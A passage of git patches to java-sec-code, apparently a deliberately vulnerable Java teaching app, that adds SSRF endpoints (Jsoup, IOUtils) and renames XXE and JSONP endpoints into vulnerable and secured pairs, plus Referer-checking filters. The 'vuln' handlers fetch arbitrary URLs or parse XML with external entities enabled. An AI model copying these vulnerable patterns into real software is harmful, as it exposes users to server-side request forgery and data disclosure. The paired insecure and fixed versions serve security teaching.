- * http://localhost:8080/jsonp/referer?callback=test + * http://localhost:8080/jsonp/vuln/referer?callback_=test */ - @RequestMapping(value = "/referer", produces = "application/javascript") - private String referer(HttpServletRequest request) { - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo2JsonStr(request) + ")"; + @RequestMapping(value = "/vuln/referer", produces = "application/javascript") + public String referer(HttpServletRequest request) { + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); } /** * Direct access does not check Referer, non-direct access check referer. * Developer like to do jsonp testing like this. *

- * http://localhost:8080/jsonp/emptyReferer?callback=test + * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test */ - @RequestMapping(value = "/emptyReferer", produces = "application/javascript") - private String emptyReferer(HttpServletRequest request) { + @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") + public String emptyReferer(HttpServletRequest request) { String referer = request.getHeader("referer"); if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { return "error"; } - - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo2JsonStr(request) + ")"; + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); } /** * Adding callback or cback on parameter can automatically return jsonp data. - * http://localhost:8080/jsonp/advice?callback=test - * http://localhost:8080/jsonp/advice?_callback=test + * http://localhost:8080/jsonp/vuln/advice?callback=test + * http://localhost:8080/jsonp/vuln/advice?_callback=test * * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. * Such as JSONOjbect or JavaBean. String type cannot be used. */ - @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) + @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice(HttpServletRequest request) { return JSON.parseObject(getUserInfo2JsonStr(request)); } /** - * http://localhost:8080/jsonp/mappingJackson2JsonView?callback=test + * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test * Reference: https://p0sec.net/index.php/archives/122/ from p0 * Affected version: java-sec-code test case version: 4.3.6 * - Spring Framework 5.0 to 5.0.6 * - Spring Framework 4.1 to 4.3.17 */ - @RequestMapping(value = "/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) + @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); Principal principal = req.getUserPrincipal(); @@ -102,29 +104,25 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { /** * Safe code. - * http://localhost:8080/jsonp/sec?callback=test + * http://localhost:8080/jsonp/sec?callback_=test */ - @RequestMapping(value = "/sec", produces = "application/javascript") - private String safecode(HttpServletRequest request) { + @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") + public String safecode(HttpServletRequest request) { String referer = request.getHeader("referer"); if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { return "error"; } - - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo2JsonStr(request) + ")"; + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); } - /** - * http://localhost:8080/jsonp/getToken - * - * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"} - */ - @RequestMapping("/getToken") - public CsrfToken csrf(CsrfToken token) { + @GetMapping("/getToken") + public CsrfToken getCsrfToken(CsrfToken token) { return token; } + + } \ No newline at end of file diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java new file mode 100644 index 00000000..25a72898 --- /dev/null +++ b/src/main/java/org/joychou/filter/JsonpFilter.java @@ -0,0 +1,102 @@ +package org.joychou.filter; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +/** + * @author JoyChou @ 2020-01-13 + * 专门为object自动转jsonp功能配置的filter + */ + +@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*") +public class JsonpFilter implements Filter { + + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String refer = request.getHeader("referer"); + String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist(); + StringBuffer url = request.getRequestURL(); + String query = request.getQueryString(); + + // 如果不满足jsonp校验逻辑,则不校验 + if ( !check(request) ) { + filterChain.doFilter(req, res); + return ; + } + + // 校验jsonp逻辑,如果不安全,返回403页面 + if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){ + logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("forbidden"); + response.flushBuffer(); + return ; + } + + // 正常的refer,继续业务逻辑。 + filterChain.doFilter(req, res); + + } + + /** + * + * @return true要进行jsonp安全校验,false不进行jsonp安全校验 + */ + private boolean check(HttpServletRequest req) { + + // 如果jsonp校验的开关为false,不校验 + if ( !WebConfig.getJsonpReferCheckEnabled() ) { + return false; + } + + // 只校验GET请求 + if ( !"GET".equals(req.getMethod()) ) { + return false; + } + + // 只校验带配置里的callback参数请求 + String reqCallback = null; + for (String callback: WebConfig.getJsonpCallbacks()) { + reqCallback = req.getParameter(callback); + if(StringUtils.isNotBlank(reqCallback)) { + break; + } + } + if (StringUtils.isBlank(reqCallback)){ + return false; + } + + + return true; + + } + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 55ebf4a3..0c40c25f 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -15,7 +15,7 @@ /** * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 * @author JoyChou @ 2019.12.19 - * + * */ @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") public class OriginFilter implements Filter { diff --git a/src/main/java/org/joychou/filter/HttpFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java similarity index 62% rename from src/main/java/org/joychou/filter/HttpFilter.java rename to src/main/java/org/joychou/filter/ReferFilter.java index 83b4ea13..14f1a618 100644 --- a/src/main/java/org/joychou/filter/HttpFilter.java +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -1,6 +1,5 @@ package org.joychou.filter; - import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; @@ -24,7 +23,7 @@ * */ @WebFilter(filterName = "referFilter", urlPatterns = "/*") -public class HttpFilter implements Filter { +public class ReferFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { @@ -39,10 +38,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; - String refer = request.getHeader("referer"); PathMatcher matcher = new AntPathMatcher(); boolean isMatch = false; + for (String uri: WebConfig.getReferUris()) { if ( matcher.match (uri, request.getRequestURI()) ) { isMatch = true; @@ -50,22 +49,28 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter } } - // logger.info("[+] Referer: " + refer); - - if (isMatch) { - if (WebConfig.getReferSecEnabled()) { - // Check referer for all GET requests with callback parameters. - for (String callback: WebConfig.getCallbacks()) { - if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){ - // If the check of referer fails, a 403 forbidden error page will be returned. - if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){ - logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" - + "Referer: " + refer); - response.sendRedirect("https://test.joychou.org/error3.html"); - return; - } - } - } + if (!isMatch) { + filterChain.doFilter(req, res); + return; + } + + if (!WebConfig.getReferSecEnabled()) { + filterChain.doFilter(req, res); + return; + } + + // Check referer for all GET requests with callback parameters. + + String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); + if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){ + // If the check of referer fails, a 403 forbidden error page will be returned. + if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){ + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + refer); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("forbidden"); + response.flushBuffer(); + return; } } @@ -78,4 +83,4 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter public void destroy() { } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 685340c6..b0a59bc1 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -5,6 +5,8 @@ import java.io.IOException; import java.io.InputStream; +import org.springframework.web.util.HtmlUtils; + public class WebUtils { // Get request body. @@ -23,4 +25,9 @@ public static String getCookieValueByName(HttpServletRequest request, String coo Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); return cookie == null ? null : cookie.getValue(); } + + + public static String json2Jsonp(String callback, String jsonStr) { + return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; + } } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index d144baa5..9135b5db 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -9,11 +9,12 @@ mybatis.mapper-locations=classpath:mapper/*.xml management.security.enabled=false # logging.config=classpath:logback-online.xml - +# 业务的callback参数,不支持多个 +joychou.business.callback = callback_ ### check referer configuration begins ### joychou.security.referer.enabled = false -joychou.security.referer.hostwhitelist = joychou.org, joychou.com +joychou.security.referer.host = joychou.org, joychou.com # Only support ant url style. joychou.security.referer.uri = /jsonp/** ### check referer configuration ends ### @@ -30,6 +31,8 @@ joychou.security.csrf.method = POST ### jsonp configuration begins ### # auto convert json to jsonp -# callback parameters name +# referer check +joychou.security.jsonp.referer.check.enabled = true +joychou.security.jsonp.referer.host = joychou.org, joychou.com joychou.security.jsonp.callback = callback, _callback ### jsonp configuration ends ### \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 18933862..64737751 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -10,6 +10,7 @@

CmdInject   JSONP   + FileUpload   Cors   PathTraversal   SqlInject   From 7b187f2a5fbb8850f4efef6ce065ce231a45d425 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 14 Feb 2020 20:40:06 +0800 Subject: [PATCH 08/38] Add XXE & SSRF Vuln Code --- java-sec-code.iml | 11 +- pom.xml | 16 +- .../java/org/joychou/controller/SSRF.java | 91 +++-- .../java/org/joychou/controller/SpEL.java | 1 - src/main/java/org/joychou/controller/XXE.java | 321 ++++++++++-------- .../java/org/joychou/filter/JsonpFilter.java | 6 +- .../joychou/security/LoginSuccessHandler.java | 15 +- .../org/joychou/security/SSRFChecker.java | 6 +- .../org/joychou/security/SecurityUtil.java | 43 ++- src/main/resources/templates/login.html | 6 +- 10 files changed, 329 insertions(+), 187 deletions(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index 5a12be26..c9e18a68 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -67,8 +67,13 @@ - - + + + + + + + @@ -193,5 +198,7 @@ + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index dd14d9ed..14dc18dc 100644 --- a/pom.xml +++ b/pom.xml @@ -62,7 +62,7 @@ org.dom4j dom4j - 2.1.1 + 2.1.0 @@ -70,7 +70,7 @@ com.google.guava guava - 21.0 + 23.0 @@ -215,7 +215,19 @@ 2.0.0 + + + org.jsoup + jsoup + 1.10.2 + + + + commons-io + commons-io + 2.5 + diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index fca0e63a..657f25cf 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -4,6 +4,7 @@ import com.squareup.okhttp.OkHttpClient; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.methods.GetMethod; +import org.apache.commons.io.IOUtils; import org.apache.http.HttpResponse; import org.apache.http.HttpStatus; import org.apache.http.client.fluent.Request; @@ -11,18 +12,21 @@ import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.joychou.security.SecurityUtil; -import org.springframework.stereotype.Controller; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.imageio.ImageIO; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; -import java.net.URL; -import java.net.URLConnection; -import java.net.HttpURLConnection; +import java.net.*; /** @@ -31,12 +35,13 @@ * @desc Java ssrf vuls code. */ -@Controller +@RestController @RequestMapping("/ssrf") public class SSRF { + private static Logger logger = LoggerFactory.getLogger(SSRF.class); + @RequestMapping("/urlConnection") - @ResponseBody public static String ssrf_URLConnection(HttpServletRequest request) { try { @@ -169,9 +174,7 @@ public static void ssrf_okhttp(HttpServletRequest request) throws IOException { */ @RequestMapping("/HttpClient") @ResponseBody - public static String ssrf_HttpClient(HttpServletRequest request) { - - String url = request.getParameter("url"); + public static String ssrf_HttpClient(@RequestParam String url) { CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); try { @@ -193,26 +196,18 @@ public static String ssrf_HttpClient(HttpServletRequest request) { /** * Safe code. - * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com * */ - @RequestMapping("/commonsHttpClient") + @RequestMapping("/commonsHttpClient/sec") @ResponseBody - public static String commonsHttpClient(HttpServletRequest request) { - - String url = request.getParameter("url"); - - // Security check + public static String commonsHttpClient(@RequestParam String url) { if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { return "Bad man. I got u."; } - // Create an instance of HttpClient. - HttpClient client = new HttpClient(); - // Create a method instance. + HttpClient client = new HttpClient(); GetMethod method = new GetMethod(url); - - // forbid 302 redirection method.setFollowRedirects(false); try { @@ -238,19 +233,63 @@ public static String commonsHttpClient(HttpServletRequest request) { } + /** + * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。 + * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + * + */ + @RequestMapping("/Jsoup") + @ResponseBody + public static String Jsoup(@RequestParam String url) { + try { + Document doc = Jsoup.connect(url) + .userAgent( + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Chrome/64.0.3282.167 Safari/537.36") + .timeout(3000) + .cookie("name", "joychou") // request请求带的cookie + .followRedirects(false) + .execute().parse(); + } catch (MalformedURLException e) { + return "exception: " + e.toString(); + } catch (Exception e) { + return "exception: " + e.toString(); + } + + return "Jsoup ssrf"; + } + + + /** + * 用途:IOUtils可远程获取URL图片 + * 默认重定向:是 + * 封装类:URLConnection + * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com + */ + @RequestMapping("/IOUtils") + public static String IOUtils(@RequestParam String url) { + try { + // IOUtils.toByteArray内部用URLConnection进行了封装 + byte[] b = IOUtils.toByteArray(URI.create(url)); + } catch (Exception e) { + return "exception: " + e.toString(); + } + + return "IOUtils ssrf"; + } + /** * Safe code. - * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com + * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com * */ - @RequestMapping("/ImageIO_safe") - @ResponseBody - public static String ssrf_ImageIO_safecode(HttpServletRequest request) { - String url = request.getParameter("url"); + @RequestMapping("/ImageIO/sec") + public static String ImageIOSec(@RequestParam String url) { try { URL u = new URL(url); if (!SecurityUtil.checkSSRF(url)) { + logger.error("[-] SSRF check failed. Original Url: "+ url); return "SSRF check failed."; } ImageIO.read(u); // send request diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 28fdafde..07be7d7e 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,6 +1,5 @@ package org.joychou.controller; -import org.springframework.expression.EvaluationContext; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.web.bind.annotation.RequestMapping; diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 7347523e..1de059ce 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -1,6 +1,9 @@ package org.joychou.controller; +import org.dom4j.DocumentHelper; import org.dom4j.io.SAXReader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -22,7 +25,7 @@ import org.joychou.util.WebUtils; /** - * Java xxe vul and safe code. + * Java xxe vuln and security code. * * @author JoyChou @2017-12-22 */ @@ -31,26 +34,29 @@ @RequestMapping("/xxe") public class XXE { - @RequestMapping(value = "/xmlReader", method = RequestMethod.POST) - public String xxe_xmlReader(HttpServletRequest request) { + private static Logger logger= LoggerFactory.getLogger(XXE.class); + private static String EXCEPT = "xxe except"; + + @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST) + public String xmlReaderVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); - xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml - return "ok"; + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml + return "xmlReader xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST) - public String xxe_xmlReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST) + public String xmlReaderSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // fix code start @@ -58,168 +64,173 @@ public String xxe_xmlReader_fix(HttpServletRequest request) { xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end - xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "xmlReader xxe security code"; } - @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST) - public String xxe_SAXBuilder(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) + public String SAXBuilderVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); - org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con))); // cause xxe - return "ok"; + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); // cause xxe + return "SAXBuilder xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST) - public String xxe_SAXBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST) + public String SAXBuilderSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con))); + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); - return "ok"; } catch (Exception e) { - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXBuilder xxe security code"; } - @RequestMapping(value = "/SAXReader", method = RequestMethod.POST) - public String xxe_SAXReader(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST) + public String SAXReaderVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); - org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); // cause xxe + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); // cause xxe - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXReader xxe vuln code"; } - @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST) - public String xxe_SAXReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST) + public String SAXReaderSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); - - return "ok"; + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXReader xxe security code"; } - @RequestMapping(value = "/SAXParser", method = RequestMethod.POST) - public String xxe_SAXParser(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) + public String SAXParserVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml - return "test"; + return "SAXParser xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST) - public String xxe_SAXParser_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST) + public String SAXParserSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml - return "test"; + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXParser xxe security code"; } - @RequestMapping(value = "/Digester", method = RequestMethod.POST) - public String xxe_Digester(HttpServletRequest request) { + @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST) + public String DigesterVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); - digester.parse(new StringReader(xml_con)); // parse xml - - return "test"; + digester.parse(new StringReader(body)); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "Digester xxe vuln code"; } - @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST) - public String xxe_Digester_fix(HttpServletRequest request) { + @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST) + public String DigesterSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - digester.parse(new StringReader(xml_con)); // parse xml + digester.parse(new StringReader(body)); // parse xml - return "test"; + return "Digester xxe security code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - // 有回显的XXE - @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST) - public String xxeDocumentBuilderReturn(HttpServletRequest request) { + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) + public String DocumentBuilderVuln01(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); - + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml @@ -235,24 +246,24 @@ public String xxeDocumentBuilderReturn(HttpServletRequest request) { } } sr.close(); - System.out.println(buf.toString()); return buf.toString(); } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST) - public String DocumentBuilder(HttpServletRequest request) { + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) + public String DocumentBuilderVuln02(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml @@ -266,55 +277,54 @@ public String DocumentBuilder(HttpServletRequest request) { Node node = child.item(j); // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n"); + result.append(node.getNodeName() + ": " + + node.getFirstChild().getNodeValue() + "\n"); } } } sr.close(); - System.out.println(result.toString()); return result.toString(); } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST) - public String xxe_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) + public String DocumentBuilderSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml + db.parse(is); // parse xml sr.close(); - - return "test"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "DocumentBuilder xxe security code"; } - @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST) - public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST) + public String DocumentBuilderXincludeVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml @@ -326,25 +336,25 @@ public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { for (int j = 0; j < xxe.getLength(); j++) { Node 